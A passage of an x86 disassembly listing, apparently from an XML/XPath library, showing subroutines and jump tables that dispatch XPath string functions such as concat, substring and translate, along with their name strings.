mov [ecx+8], al
jmp loc_69B672BB
; ---------------------------------------------------------------------------
loc_69B66D93: ; CODE XREF: sub_69B6699A+3D3j
push [ebp+var_24]
push dword ptr [ebp+var_20+4]
call sub_69B192E9
lea ecx, [ebp+pvarg]
mov esi, eax
call sub_69B466CC
loc_69B66DA8: ; CODE XREF: sub_69B6699A+34Dj
cmp esi, ebx
jnz short loc_69B66DBF
push ebx
push 0C00CE388h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66DBF: ; CODE XREF: sub_69B6699A+410j
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz loc_69B672C3
mov eax, [ecx]
push esi
call dword ptr [eax+10h]
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 1
jmp loc_69B66CBA
; ---------------------------------------------------------------------------
loc_69B66DDE: ; CODE XREF: sub_69B6699A+27j
mov dword ptr [ebp+pvarg.anonymous_0], ebx
mov byte ptr [ebp+pvarg.anonymous_0+4], bl
call sub_69B88D77
cmp [ebp+var_C], ebx
mov [ebp+var_10], eax
mov [ebp+var_8], ebx
jle short loc_69B66E50
loc_69B66DF4: ; CODE XREF: sub_69B6699A+4B4j
push [ebp+var_8]
mov ecx, [esi+0Ch]
call sub_69B8A163
mov edx, [eax]
lea ecx, [ebp+pvarg]
push ecx
push [ebp+arg_8]
mov ecx, eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [edx+54h]
push 1
lea eax, [ebp+pvarg]
push eax
push edi
lea ecx, [ebp+pvarg]
call sub_69B64008
cmp dword ptr [ebp+pvarg.anonymous_0], edi
jz short loc_69B66E3A
push ebx
push 0C00CE604h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66E3A: ; CODE XREF: sub_69B6699A+48Bj
push dword ptr [ebp+pvarg.anonymous_0+8]
mov ecx, [ebp+var_10]
call sub_69B88EA5
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jl short loc_69B66DF4
loc_69B66E50: ; CODE XREF: sub_69B6699A+458j
mov ecx, [ebp+var_10]
mov eax, [ecx]
call dword ptr [eax+2Ch]
jmp loc_69B67068
; ---------------------------------------------------------------------------
loc_69B66E5D: ; CODE XREF: sub_69B6699A+21j
sub eax, 0Ah
jz loc_69B67102
dec eax
jz loc_69B67076
dec eax
jz loc_69B67001
dec eax
jz short loc_69B66E90
loc_69B66E77: ; CODE XREF: sub_69B6699A+3Fj
push [ebp+arg_C]
lea ecx, [esi-8]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B66820
jmp loc_69B672C3
; ---------------------------------------------------------------------------
loc_69B66E90: ; CODE XREF: sub_69B6699A+4DBj
push ebx
call sub_69B8A163
mov ecx, [esi+0Ch]
push 1
mov edi, eax
call sub_69B8A163
mov esi, [esi+0Ch]
push 2
mov ecx, esi
mov [ebp+var_10], eax
call sub_69B8A163
lea ecx, [ebp+var_28]
push ecx
push [ebp+arg_8]
mov esi, eax
push [ebp+arg_4]
mov [ebp+var_28], ebx
push [ebp+arg_0]
mov byte ptr [ebp+var_24], bl
mov [ebp+var_38], ebx
mov [ebp+var_34], bl
mov dword ptr [ebp+pvarg.anonymous_0], ebx
mov byte ptr [ebp+pvarg.anonymous_0+4], bl
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+54h]
mov ecx, [ebp+var_10]
mov eax, [ecx]
lea edx, [ebp+var_38]
push edx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+54h]
mov eax, [esi]
lea ecx, [ebp+pvarg]
push ecx
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [eax+54h]
push 1
lea eax, [ebp+var_28]
push eax
push 5
pop esi
push esi
lea ecx, [ebp+var_28]
call sub_69B64008
push 1
lea eax, [ebp+var_38]
push eax
push esi
lea ecx, [ebp+var_38]
call sub_69B64008
push 1
lea eax, [ebp+pvarg]
push eax
push esi
lea ecx, [ebp+pvarg]
call sub_69B64008
cmp [ebp+var_28], esi
jnz short loc_69B66F41
cmp [ebp+var_38], esi
jnz short loc_69B66F41
cmp dword ptr [ebp+pvarg.anonymous_0], esi
jz short loc_69B66F54
loc_69B66F41: ; CODE XREF: sub_69B6699A+59Bj
; sub_69B6699A+5A0j
push ebx
push 0C00CE604h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B66F54: ; CODE XREF: sub_69B6699A+5A5j
mov edx, dword ptr [ebp+var_20]
mov ecx, dword ptr [ebp+pvarg.anonymous_0+8]
mov eax, dword ptr [ebp+var_30]
mov esi, [edx+8]
cmp esi, ebx
mov [ebp+var_8], ecx
mov ecx, [ecx+8]
mov [ebp+var_10], eax
mov eax, [eax+8]
mov [ebp+arg_4], edx
mov [ebp+var_C], ecx
jnz short loc_69B66F7D
push offset off_69B1A5AC
jmp short loc_69B66FE1
; ---------------------------------------------------------------------------
loc_69B66F7D: ; CODE XREF: sub_69B6699A+5DAj
cmp eax, ebx
jnz short loc_69B66F89
push edx
call sub_69B2F0C4
jmp short loc_69B66FE0
; ---------------------------------------------------------------------------
loc_69B66F89: ; CODE XREF: sub_69B6699A+5E5j
call sub_69B88D77
cmp esi, ebx
mov [ebp+arg_0], eax
mov [ebp+arg_8], ebx
jle short loc_69B66FD8
loc_69B66F98: ; CODE XREF: sub_69B6699A+63Cj
push [ebp+arg_8]
mov ecx, [ebp+arg_4]
call sub_69B2EDBF
mov ecx, [ebp+var_10]
push ebx
mov edi, eax
movzx eax, di
push eax
call sub_69B2EE9A
cmp eax, ebx
jl short loc_69B66FC7
cmp [ebp+var_C], eax
jle short loc_69B66FD0
mov ecx, [ebp+var_8]
push eax
call sub_69B2EDBF
push eax
jmp short loc_69B66FC8
; ---------------------------------------------------------------------------
loc_69B66FC7: ; CODE XREF: sub_69B6699A+61Aj
push edi
loc_69B66FC8: ; CODE XREF: sub_69B6699A+62Bj
mov ecx, [ebp+arg_0]
call sub_69B88E7C
loc_69B66FD0: ; CODE XREF: sub_69B6699A+61Fj
inc [ebp+arg_8]
cmp [ebp+arg_8], esi
jl short loc_69B66F98
loc_69B66FD8: ; CODE XREF: sub_69B6699A+5FCj
mov ecx, [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+2Ch]
loc_69B66FE0: ; CODE XREF: sub_69B6699A+5EDj
push eax
loc_69B66FE1: ; CODE XREF: sub_69B6699A+5E1j
mov ecx, [ebp+arg_C]
call sub_69B48684
lea ecx, [ebp+pvarg]
call sub_69B466CC
loc_69B66FF1: ; CODE XREF: sub_69B6699A+20Cj
; sub_69B6699A+22Cj
lea ecx, [ebp+var_38]
call sub_69B466CC
lea ecx, [ebp+var_28]
jmp loc_69B672BE
; ---------------------------------------------------------------------------
loc_69B67001: ; CODE XREF: sub_69B6699A+4D4j
push 20h
lea ecx, [ebp+var_38]
call sub_69B3109C
cmp [ebp+var_C], ebx
mov dword ptr [ebp+pvarg.anonymous_0], ebx
mov byte ptr [ebp+pvarg.anonymous_0+4], bl
jnz short loc_69B67025
mov ecx, [ebp+arg_8]
mov eax, [ecx]
push 1
push ebx
push ebx
call dword ptr [eax+4Ch]
push eax
jmp short loc_69B67058
; ---------------------------------------------------------------------------
loc_69B67025: ; CODE XREF: sub_69B6699A+67Aj
mov esi, [esi+0Ch]
push ebx
mov ecx, esi
call sub_69B8A163
mov edx, [eax]
lea ecx, [ebp+pvarg]
push ecx
push [ebp+arg_8]
mov ecx, eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [edx+54h]
push 1
lea eax, [ebp+pvarg]
push eax
push edi
lea ecx, [ebp+pvarg]
call sub_69B64008
push 1
push dword ptr [ebp+pvarg.anonymous_0+8]
loc_69B67058: ; CODE XREF: sub_69B6699A+689j
lea ecx, [ebp+var_38]
call sub_69B3146D
lea ecx, [ebp+var_38]
call sub_69B31267
loc_69B67068: ; CODE XREF: sub_69B6699A+4BEj
mov ecx, [ebp+arg_C]
push eax
call sub_69B48684
jmp loc_69B672BB
; ---------------------------------------------------------------------------
loc_69B67076: ; CODE XREF: sub_69B6699A+4CDj
cmp edx, ebx
push ebx
jnz short loc_69B6709F
mov ecx, [ebp+arg_8]
mov eax, [ecx]
push 4
call dword ptr [eax+4Ch]
mov eax, [eax+8]
mov [ebp+arg_8], eax
fild [ebp+arg_8]
mov eax, [ebp+arg_C]
mov dword ptr [eax], 3
fstp qword ptr [eax+8]
jmp loc_69B672C3
; ---------------------------------------------------------------------------
loc_69B6709F: ; CODE XREF: sub_69B6699A+6DFj
call sub_69B8A163
lea ecx, [ebp+pvarg]
push ecx
push [ebp+arg_8]
mov dword ptr [ebp+pvarg.anonymous_0], ebx
push [ebp+arg_4]
mov byte ptr [ebp+pvarg.anonymous_0+4], bl
push [ebp+arg_0]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+54h]
push 1
lea eax, [ebp+pvarg]
push eax
push edi
lea ecx, [ebp+pvarg]
call sub_69B64008
cmp dword ptr [ebp+pvarg.anonymous_0], edi
jz short loc_69B670E5
push ebx
push 0C00CE604h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B670E5: ; CODE XREF: sub_69B6699A+736j
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
mov eax, [eax+8]
mov [ebp+arg_8], eax
fild [ebp+arg_8]
mov eax, [ebp+arg_C]
mov dword ptr [eax], 3
fstp qword ptr [eax+8]
jmp loc_69B672BB
; ---------------------------------------------------------------------------
loc_69B67102: ; CODE XREF: sub_69B6699A+4C6j
push ebx
call sub_69B8A163
mov ecx, [esi+0Ch]
push 1
mov [ebp+var_14], eax
call sub_69B8A163
push 3
pop edi
cmp [ebp+var_C], edi
mov [ebp+var_18], eax
mov [ebp+var_8], ebx
mov dword ptr [ebp+pvarg.anonymous_0], ebx
mov byte ptr [ebp+pvarg.anonymous_0+4], bl
mov [ebp+var_10], ebx
jnz loc_69B671B9
mov esi, [esi+0Ch]
push 2
mov ecx, esi
call sub_69B8A163
mov edx, [eax]
lea ecx, [ebp+pvarg]
push ecx
push [ebp+arg_8]
mov ecx, eax
push [ebp+arg_4]
mov [ebp+var_8], eax
push [ebp+arg_0]
call dword ptr [edx+54h]
push 1
lea eax, [ebp+pvarg]
push eax
push edi
lea ecx, [ebp+pvarg]
call sub_69B64008
cmp dword ptr [ebp+pvarg.anonymous_0], edi
jz short loc_69B6717A
push ebx
push 0C00CE604h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B6717A: ; CODE XREF: sub_69B6699A+7CBj
fld qword ptr [ebp+pvarg.anonymous_0+8]
push ecx
push ecx ; double
fstp [esp+5Ch+var_5C]
call sub_69B84BCE
cmp eax, 200h
pop ecx
pop ecx
jnz short loc_69B67195
mov [ebp+var_8], ebx
jmp short loc_69B671B9
; ---------------------------------------------------------------------------
loc_69B67195: ; CODE XREF: sub_69B6699A+7F4j
cmp eax, 1
jz short loc_69B671B9
cmp eax, 2
jz short loc_69B671B9
cmp eax, 4
jz short loc_69B671B9
fld qword ptr [ebp+pvarg.anonymous_0+8]
push ecx
push ecx ; double
fstp [esp+5Ch+var_5C]
call sub_69B63D7C
call sub_69B1A82C
mov [ebp+var_10], eax
loc_69B671B9: ; CODE XREF: sub_69B6699A+790j
; sub_69B6699A+7F9j ...
mov ecx, [ebp+var_14]
lea edx, [ebp+var_28]
push edx
push [ebp+arg_8]
mov [ebp+var_28], ebx
push [ebp+arg_4]
mov byte ptr [ebp+var_24], bl
push [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+54h]
push 1
lea eax, [ebp+var_28]
push eax
push 5
lea ecx, [ebp+var_28]
call sub_69B64008
mov ecx, [ebp+var_18]
lea edx, [ebp+var_38]
push edx
push [ebp+arg_8]
mov [ebp+var_38], ebx
push [ebp+arg_4]
mov [ebp+var_34], bl
push [ebp+arg_0]
mov eax, [ecx]
call dword ptr [eax+54h]
push 1
lea eax, [ebp+var_38]
push eax
push edi
lea ecx, [ebp+var_38]
call sub_69B64008
cmp [ebp+var_28], 5
jnz short loc_69B67219
cmp [ebp+var_38], edi
jz short loc_69B6722C
loc_69B67219: ; CODE XREF: sub_69B6699A+878j
push ebx
push 0C00CE604h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B6722C: ; CODE XREF: sub_69B6699A+87Dj
fld [ebp+var_30]
push ecx
push ecx ; double
fstp [esp+5Ch+var_5C]
call sub_69B84BCE
cmp eax, 1
pop ecx
pop ecx
jz short loc_69B6729E
cmp eax, 2
jz short loc_69B6729E
cmp eax, 4
jz short loc_69B6729E
cmp eax, 200h
jz short loc_69B6729E
mov eax, dword ptr [ebp+var_20]
fld [ebp+var_30]
mov esi, [eax+8]
push ecx
push ecx ; double
fstp [esp+5Ch+var_5C]
call sub_69B63D7C
fsub ds:dbl_69B29708
call sub_69B1A82C
mov ecx, [ebp+var_10]
add ecx, eax
cmp eax, esi
jge short loc_69B6729E
cmp eax, ebx
jge short loc_69B6727E
xor eax, eax
loc_69B6727E: ; CODE XREF: sub_69B6699A+8E0j
cmp ecx, esi
jl short loc_69B67284
mov ecx, esi
loc_69B67284: ; CODE XREF: sub_69B6699A+8E6j
cmp [ebp+var_8], ebx
jz short loc_69B6728F
push ecx
mov ecx, dword ptr [ebp+var_20]
jmp short loc_69B67295
; ---------------------------------------------------------------------------
loc_69B6728F: ; CODE XREF: sub_69B6699A+8EDj
mov ecx, dword ptr [ebp+var_20]
push dword ptr [ecx+8]
loc_69B67295: ; CODE XREF: sub_69B6699A+8F3j
push eax
call sub_69B2F3CD
push eax
jmp short loc_69B672A3
; ---------------------------------------------------------------------------
loc_69B6729E: ; CODE XREF: sub_69B6699A+8A4j
; sub_69B6699A+8A9j ...
push offset off_69B1A5AC
loc_69B672A3: ; CODE XREF: sub_69B6699A+902j
mov ecx, [ebp+arg_C]
call sub_69B48684
lea ecx, [ebp+var_38]
call sub_69B466CC
lea ecx, [ebp+var_28]
call sub_69B466CC
loc_69B672BB: ; CODE XREF: sub_69B6699A+30Dj
; sub_69B6699A+3F4j ...
lea ecx, [ebp+pvarg]
loc_69B672BE: ; CODE XREF: sub_69B6699A+662j
call sub_69B466CC
loc_69B672C3: ; CODE XREF: sub_69B6699A+323j
; sub_69B6699A+42Aj ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B6699A endp
; ---------------------------------------------------------------------------
align 10h
off_69B672D0 dd offset aBoolean ; DATA XREF: sub_69B6699A+3D9o
; "boolean"
dd 0FFFFFFA4h
dd offset aConcat ; "concat"
dd 0FFFFFF98h
dd offset aContains ; "contains"
dd 0FFFFFF96h
dd offset aCount ; "count"
dd 0FFFFFFAAh
dd offset aCurrent ; "current"
dd 0FFFFFF9Fh
dd offset aElementAvailab ; "element-available"
dd 0FFFFFF9Ch
dd offset aFalse ; "false"
dd 0FFFFFFA1h
dd offset aFormatNumber ; "format-number"
dd 0FFFFFF9Ah
dd offset aFormatnumber ; "formatNumber"
dd 0FFFFFF99h
dd offset aFunctionAvaila ; "function-available"
dd 0FFFFFF9Bh
dd offset aId ; "id"
dd 0FFFFFFC6h
dd offset aLast ; "last"
dd 0FFFFFFACh
dd offset aLocalName ; "local-name"
dd 0FFFFFFA8h
dd offset aName ; "name"
dd 0FFFFFFA6h
dd offset aNamespaceUri ; "namespace-uri"
dd 0FFFFFFA7h
dd offset aNormalizeSpace ; "normalize-space"
dd 0FFFFFF91h
dd offset aNot_0 ; "not"
dd 0FFFFFFA0h
dd offset aNumber ; "number"
dd 0FFFFFFA3h
dd offset aPosition ; "position"
dd 0FFFFFFABh
dd offset aStartsWith ; "starts-with"
dd 0FFFFFF97h
dd offset aString ; "string"
dd 0FFFFFFA5h
dd offset aStringLength ; "string-length"
dd 0FFFFFF92h
dd offset aSubstring ; "substring"
dd 0FFFFFF93h
dd offset aSubstringAfter ; "substring-after"
dd 0FFFFFF94h
dd offset aSubstringBefor ; "substring-before"
dd 0FFFFFF95h
dd offset aSystemProperty ; "system-property"
dd 0FFFFFF9Eh
dd offset aTranslate ; "translate"
db 90h
db 3 dup(0FFh)
dd offset aTrue ; "true"
dd 0FFFFFFA2h
; =============== S U B R O U T I N E =======================================
sub_69B673B0 proc near ; DATA XREF: .text:69B156BCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, ecx
mov eax, [esi+10h]
xor ebx, ebx
dec eax
cmp eax, 0Ch ; switch 13 cases
push edi
ja loc_69B67458 ; default
jmp ds:off_69B6748F[eax*4] ; switch jump
loc_69B673CB: ; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67568 ; jumptable 69B673C4 case 0
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B673D2: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67578 ; jumptable 69B673C4 case 1
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B673D9: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67558 ; jumptable 69B673C4 case 2
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B673E0: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67558 ; jumptable 69B673C4 case 3
mov ebx, offset off_69B29CC4
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B673EC: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B674C4 ; jumptable 69B673C4 case 4
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B673F3: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B674D4 ; jumptable 69B673C4 case 5
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B673FA: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B674E8 ; jumptable 69B673C4 case 6
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B67401: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67508 ; jumptable 69B673C4 case 7
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B67408: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67518 ; jumptable 69B673C4 case 8
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B6740F: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B674F8 ; jumptable 69B673C4 case 9
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B67416: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67528 ; jumptable 69B673C4 case 10
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B6741D: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67538 ; jumptable 69B673C4 case 11
jmp short loc_69B67429
; ---------------------------------------------------------------------------
loc_69B67424: ; CODE XREF: sub_69B673B0+14j
; DATA XREF: .text:off_69B6748Fo
mov eax, offset off_69B67548 ; jumptable 69B673C4 case 12
loc_69B67429: ; CODE XREF: sub_69B673B0+20j
; sub_69B673B0+27j ...
mov edi, [esp+0Ch+arg_4]
mov edx, [edi]
push eax
mov eax, dword_69B9B308
push dword ptr [eax+8]
mov ecx, edi
call dword ptr [edx+0ACh]
test ebx, ebx
jz short loc_69B67458 ; default
mov ecx, dword_69B9B328
mov eax, [edi]
push ebx
push dword ptr [ecx+8]
mov ecx, edi
call dword ptr [eax+0ACh]
loc_69B67458: ; CODE XREF: sub_69B673B0+Ej
; sub_69B673B0+92j
mov eax, [esi+14h] ; default
test eax, eax
mov ebx, [eax+0Ch]
jz short loc_69B67489
xor edi, edi
test ebx, ebx
jle short loc_69B67489
loc_69B67468: ; CODE XREF: sub_69B673B0+D7j
mov ecx, [esi+14h]
push edi
call sub_69B8A163
test eax, eax
jz short loc_69B67484
push [esp+0Ch+arg_4]
mov edx, [eax]
push [esp+10h+arg_0]
mov ecx, eax
call dword ptr [edx+5Ch]
loc_69B67484: ; CODE XREF: sub_69B673B0+C3j
inc edi
cmp edi, ebx
jl short loc_69B67468
loc_69B67489: ; CODE XREF: sub_69B673B0+B0j
; sub_69B673B0+B6j
pop edi
pop esi
pop ebx
retn 8
sub_69B673B0 endp
; ---------------------------------------------------------------------------
off_69B6748F dd offset loc_69B673CB ; DATA XREF: sub_69B673B0+14r
dd offset loc_69B673D2 ; jump table for switch statement
dd offset loc_69B673D9
dd offset loc_69B673E0
dd offset loc_69B673EC
dd offset loc_69B673F3
dd offset loc_69B673FA
dd offset loc_69B67401
dd offset loc_69B67408
dd offset loc_69B6740F
dd offset loc_69B67416
dd offset loc_69B6741D
dd offset loc_69B67424
align 4
off_69B674C4 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B673ECo
dd 0
dd 6
dd offset aConcat_0 ; "concat"
off_69B674D4 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B673F3o
dd 0
dd 0Bh
dd offset aStartsWith_0 ; "starts-with"
align 8
off_69B674E8 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B673FAo
align 10h
dd 8
dd offset aContains_0 ; "contains"
off_69B674F8 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B6740Fo
align 10h
dd 9
dd offset aSubstring_0 ; "substring"
off_69B67508 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B67401o
align 10h
dd 10h
dd offset aSubstringBef_0 ; "substring-before"
off_69B67518 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B67408o
align 10h
dd 0Fh
dd offset aSubstringAft_0 ; "substring-after"
off_69B67528 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B67416o
align 10h
dd 0Dh
dd offset aStringLength_0 ; "string-length"
off_69B67538 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B6741Do
align 10h
dd 0Fh
dd offset aNormalizeSpa_0 ; "normalize-space"
off_69B67548 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B67424o
align 10h
dd 9
dd offset aTranslate_0 ; "translate"
off_69B67558 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B673D9o
; sub_69B673B0:loc_69B673E0o
align 10h
dd 0Dh
dd offset aFormatNumber_0 ; "format-number"
off_69B67568 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B673CBo
align 10h
dd 12h
dd offset aFunctionAvai_0 ; "function-available"
off_69B67578 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0:loc_69B673D2o
align 10h
dd 11h
dd offset aElementAvail_0 ; "element-available"
aConcat_0: ; DATA XREF: .text:69B674D0o
unicode 0, <concat>,0
align 4
aStartsWith_0: ; DATA XREF: .text:69B674E0o
unicode 0, <starts-with>,0
aContains_0: ; DATA XREF: .text:69B674F4o
unicode 0, <contains>,0
align 8
aSubstring_0: ; DATA XREF: .text:69B67504o
unicode 0, <substring>,0
aSubstringBef_0: ; DATA XREF: .text:69B67514o
unicode 0, <substring-before>,0
align 10h
aSubstringAft_0: ; DATA XREF: .text:69B67524o
unicode 0, <substring-after>,0
aStringLength_0: ; DATA XREF: .text:69B67534o
unicode 0, <string-length>,0
aNormalizeSpa_0: ; DATA XREF: .text:69B67544o
unicode 0, <normalize-space>,0
aTranslate_0: ; DATA XREF: .text:69B67554o
unicode 0, <translate>,0
aFormatNumber_0: ; DATA XREF: .text:69B67564o
unicode 0, <format-number>,0
aFunctionAvai_0: ; DATA XREF: .text:69B67574o
unicode 0, <function-available>,0
align 4
aElementAvail_0: ; DATA XREF: .text:69B67584o
unicode 0, <element-available>,0
; =============== S U B R O U T I N E =======================================
sub_69B676D8 proc near ; DATA XREF: .text:69B15654o
sub ecx, 8
jmp sub_69B6680A
sub_69B676D8 endp
; =============== S U B R O U T I N E =======================================
sub_69B676E0 proc near ; CODE XREF: sub_69B667FD+3j
; DATA XREF: .text:69B1568Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax
call sub_69B17230
mov ecx, esi
call sub_69B653F7
test [esp+4+arg_0], 1
jz short loc_69B67700
push esi
call sub_69B1829F
loc_69B67700: ; CODE XREF: sub_69B676E0+18j
mov eax, esi
pop esi
retn 4
sub_69B676E0 endp
; =============== S U B R O U T I N E =======================================
sub_69B67706 proc near ; CODE XREF: sub_69B5F498+172p
; sub_69B62A6D+E2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B155E8 SIZE 00000032 BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B67718
mov ecx, eax
jmp loc_69B155E8
; ---------------------------------------------------------------------------
loc_69B67718: ; CODE XREF: sub_69B67706+9j
xor eax, eax
retn 8
sub_69B67706 endp
; =============== S U B R O U T I N E =======================================
sub_69B6771D proc near ; CODE XREF: sub_69B67760+3j
; DATA XREF: .text:69B15764o
mov eax, offset off_69B67724
retn
sub_69B6771D endp
; ---------------------------------------------------------------------------
align 4
off_69B67724 dd offset off_69B29C74 ; DATA XREF: sub_69B6771Do
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B6772C proc near ; DATA XREF: .text:69B15734o
mov ecx, [ecx+8]
mov eax, [ecx]
jmp dword ptr [eax+4Ch]
sub_69B6772C endp
; =============== S U B R O U T I N E =======================================
sub_69B67734 proc near ; DATA XREF: .text:69B15738o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov ecx, [ecx+8]
push [esp+4+arg_4]
mov eax, [ecx]
push [esp+8+arg_0]
call dword ptr [eax+50h]
mov eax, dword_69B9A1D0[eax*4]
retn 0Ch
sub_69B67734 endp
; =============== S U B R O U T I N E =======================================
sub_69B67752 proc near ; DATA XREF: .text:69B15780o
mov eax, dword_69B9B3B8
retn
sub_69B67752 endp
; =============== S U B R O U T I N E =======================================
sub_69B67758 proc near ; DATA XREF: .text:69B15784o
mov ecx, [ecx+10h]
mov eax, [ecx]
jmp dword ptr [eax+5Ch]
sub_69B67758 endp
; =============== S U B R O U T I N E =======================================
sub_69B67760 proc near ; DATA XREF: .text:69B15704o
sub ecx, 8
jmp short sub_69B6771D
sub_69B67760 endp
; =============== S U B R O U T I N E =======================================
sub_69B67765 proc near ; DATA XREF: .text:69B1557Co
; .text:69B1571Co ...
sub ecx, 8
jmp sub_69B65760
sub_69B67765 endp
; =============== S U B R O U T I N E =======================================
sub_69B6776D proc near ; CODE XREF: sub_69B5F498+C4p
; sub_69B6229B+EBp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B156C0 SIZE 00000027 BYTES
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B6777F
mov ecx, eax
jmp loc_69B156C0
; ---------------------------------------------------------------------------
loc_69B6777F: ; CODE XREF: sub_69B6776D+9j
xor eax, eax
retn 4
sub_69B6776D endp
; =============== S U B R O U T I N E =======================================
sub_69B67784 proc near ; CODE XREF: sub_69B67AF7+3j
; .text:69B67B02j
; DATA XREF: ...
mov eax, offset off_69B29718
retn
sub_69B67784 endp
; =============== S U B R O U T I N E =======================================
sub_69B6778A proc near ; DATA XREF: .text:69B130DCo
push esi
mov esi, ecx
call sub_69B6CA4E
cmp dword ptr [esi+3Ch], 0Fh
pop esi
jnz short loc_69B6779F
and eax, 302h
retn
; ---------------------------------------------------------------------------
loc_69B6779F: ; CODE XREF: sub_69B6778A+Dj
and eax, 303h
retn
sub_69B6778A endp
; =============== S U B R O U T I N E =======================================
sub_69B677A5 proc near ; DATA XREF: .text:69B13050o
; .text:69B136C8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [ecx]
push [esp+4+arg_0]
call dword ptr [eax+54h]
neg eax
sbb eax, eax
inc eax
retn 8
sub_69B677A5 endp
; =============== S U B R O U T I N E =======================================
sub_69B677BA proc near ; CODE XREF: sub_69B6799B+Ap
; sub_69B68E45+16p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_69B8A19B
xor ecx, ecx
test eax, eax
setnl cl
mov al, cl
retn 4
sub_69B677BA endp
; =============== S U B R O U T I N E =======================================
sub_69B677CF proc near ; DATA XREF: .text:69B13038o
; .text:69B13180o ...
push ebx
push esi
mov esi, ecx
mov ebx, [esi+20h]
shr ebx, 2
not bl
push edi
and bl, 1
call sub_69B6CC3B
test bl, bl
mov edi, eax
jz short loc_69B677F2
lea ecx, [esi-10h]
call sub_69B65903
loc_69B677F2: ; CODE XREF: sub_69B677CF+19j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_69B677CF endp
; =============== S U B R O U T I N E =======================================
sub_69B677F8 proc near ; DATA XREF: .text:69B13128o
mov eax, dword_69B9B3F8
retn
sub_69B677F8 endp
; =============== S U B R O U T I N E =======================================
sub_69B677FE proc near ; CODE XREF: sub_69B6787C+12p
; sub_69B678AC+1Ep ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
xor eax, eax
mov al, [esi]
and eax, 0FFFFFF01h
push eax
push [esp+8+arg_0]
push esi
call sub_69B2DFD1
mov eax, esi
pop esi
retn 4
sub_69B677FE endp
; =============== S U B R O U T I N E =======================================
sub_69B6781B proc near ; CODE XREF: sub_69B67A6D+71p
; sub_69B67B17+3Ap ...
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
